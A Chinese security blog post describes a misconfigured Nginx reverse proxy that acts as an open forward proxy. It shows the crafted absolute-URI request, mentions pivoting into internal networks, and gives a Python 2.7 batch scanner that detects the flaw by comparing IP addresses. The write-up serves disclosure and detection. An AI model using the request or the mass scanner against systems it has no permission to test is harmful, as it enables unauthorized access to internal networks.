在做测试的时候发现了这样一个漏洞,原请求报文如下:
GET / HTTP/1.1Host: attack_website[... HEADER ...]
...
当时最初目的是想测SSRF的,但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例,将请求报文中的URI部分替换成了网址:
http://gh0st.cn
就变成了如下的请求:
GET http://gh0st.cn HTTP/1.1Host: attack_website[... HEADER ...]
...
在BurpSuite里进行重放测试发现返回的响应正文就是 http://gh0st.cn 的,也就是说这里的attack_website可以被作为HTTP代理,于是进入下一步的测试能否使用非http/https协议进行请求?例如file:///,测试后发现确实没办法这样玩,看来是这里代理服务器不支持。
在这里替换URI部分为内网的地址,可以直接漫游内网的系统,进行深入的渗透测试了,后续的事情就不在这多说了,那么来研究看看为什么会有这样的问题呢?
查阅了一番资料和询问了一下朋友,都说具体的不太清楚,后来看见这样一篇文章:
https://www.secpulse.com/archives/74676.html
其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理,导致能被外部作为HTTP代理服务器。
正向代理 and 反向代理
正向代理
浏览器(/全局)设置代理服务器IP和对应端口
浏览器输入目标地址->代理服务器->目标服务器
简而言之,正向代理类似我们经常用到的跳板机,利用代理去访问外部的资源。
反向代理
跟正代不同的地方在于反向代理相对浏览器来说是透明的,不需要在浏览器(/全局)做什么配置,而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。
大致如下的流程:
1. 浏览器访问网站(网站所指即反向代理服务器)
2. 网站(反向代理服务器)做处理,将请求转发给所设置的目标服务器
3. 由请求最终到达的目标服务器响应给网站(反向代理服务器),然后再通过其返回给浏览器
TIPs:
一、反向代理服务器也可以变成WAF(例如Nginx支持反代功能,nginx+lua也可以搭建网站waf)
二、反向代理服务器也可以起到负载均衡的作用,由反向代理服务器做选择分配Web服务器
脚本语言选择:python2.7
系统环境:all
如何判断这个网站存在可以作为HTTP代理访问资源?唯一特征是什么?
脑子中唯一的思路就是IP,如果这目标站点能作为HTTP代理访问资源,那么我设置的这个资源就是返回真实IP的,这样就可以判断了~
这里我在团队官网上小小的写了一个,但是在大批量去测试却无法使用,因为官网的空间没那么大的吞吐量,承载不住高并发,后期建议大家使用 http://httpbin.org/ip 这个接口~
http://www.hi-ourlife.com/getip.php
PHP代码:
<?
phpecho $_SERVER['REMOTE_ADDR'];
?>
Import 库
import urllib, sys, re, json
全局变量:
poc = "http://www.hi-ourlife.com/getip.php"
获取使用代理访问资源后内容(IP)函数:
def useProxy(site):
try:
res = urllib.urlopen(poc, proxies={'http': site}).read()
return res
except:
return getIP()
正常本机获取IP函数:
def getIP():
res = urllib.urlopen(poc).read()
return res
防止有些会出错返回的内容不是IP,其实返回不是IP也就间接证明不存在这种漏洞,所以需要写个正则来匹配,这时候判断是否是IP的函数就诞生了:
def isIP(ip):
compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if compileIP.match(ip):
return True
else:
return False
对比IP函数:
def isVul(site):
resA = getIP()
#print resA
resB = useProxy(site)
#print resB
if resA == resB or not isIP(resB):
print "\033[1;33m[INFO]\033[0m No Vulnerability!"
else:
print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)
从扫描器里把代码模板剥离了出来如下:
#-*- coding:utf-8 -*-#Author: Vulkey_Chen
import urllib, sys, re
poc = "http://www.hi-ourlife.com/getip.php"
def useProxy(site):
try:
res = urllib.urlopen(poc, proxies={'http': site}).read()
return res
except:
return getIP()
def getIP():
res = urllib.urlopen(poc).read()
return res
def getSite(filename):
f = open(filename)
res = []
for line in f:
res.append(line)
return res
def isIP(ip):
compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if compileIP.match(ip):
return True
else:
return False
def isVul(site):
resA = getIP()
#print resA
resB = useProxy(site)
#print resB
if resA == resB or not isIP(resB):
print "\033[1;33m[INFO]\033[0m No Vulnerability!"
else:
print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)
def main(filename):
for i in getSite(filename):
isVul(i.replace("\n",""))
if __name__ == '__main__':
main(sys.argv[1])
使用方法:python proxy_vul.py urls.txt
urls.txt 格式:
http://www.hi-ourlife.com/
https://gh0st.cn/
http://mst.hi-ourlife.com:8080/
建议批量方法:
扫描所有想检测站点的web服务端口(Nginx容器存在此类问题居多),然后使用脚本检测。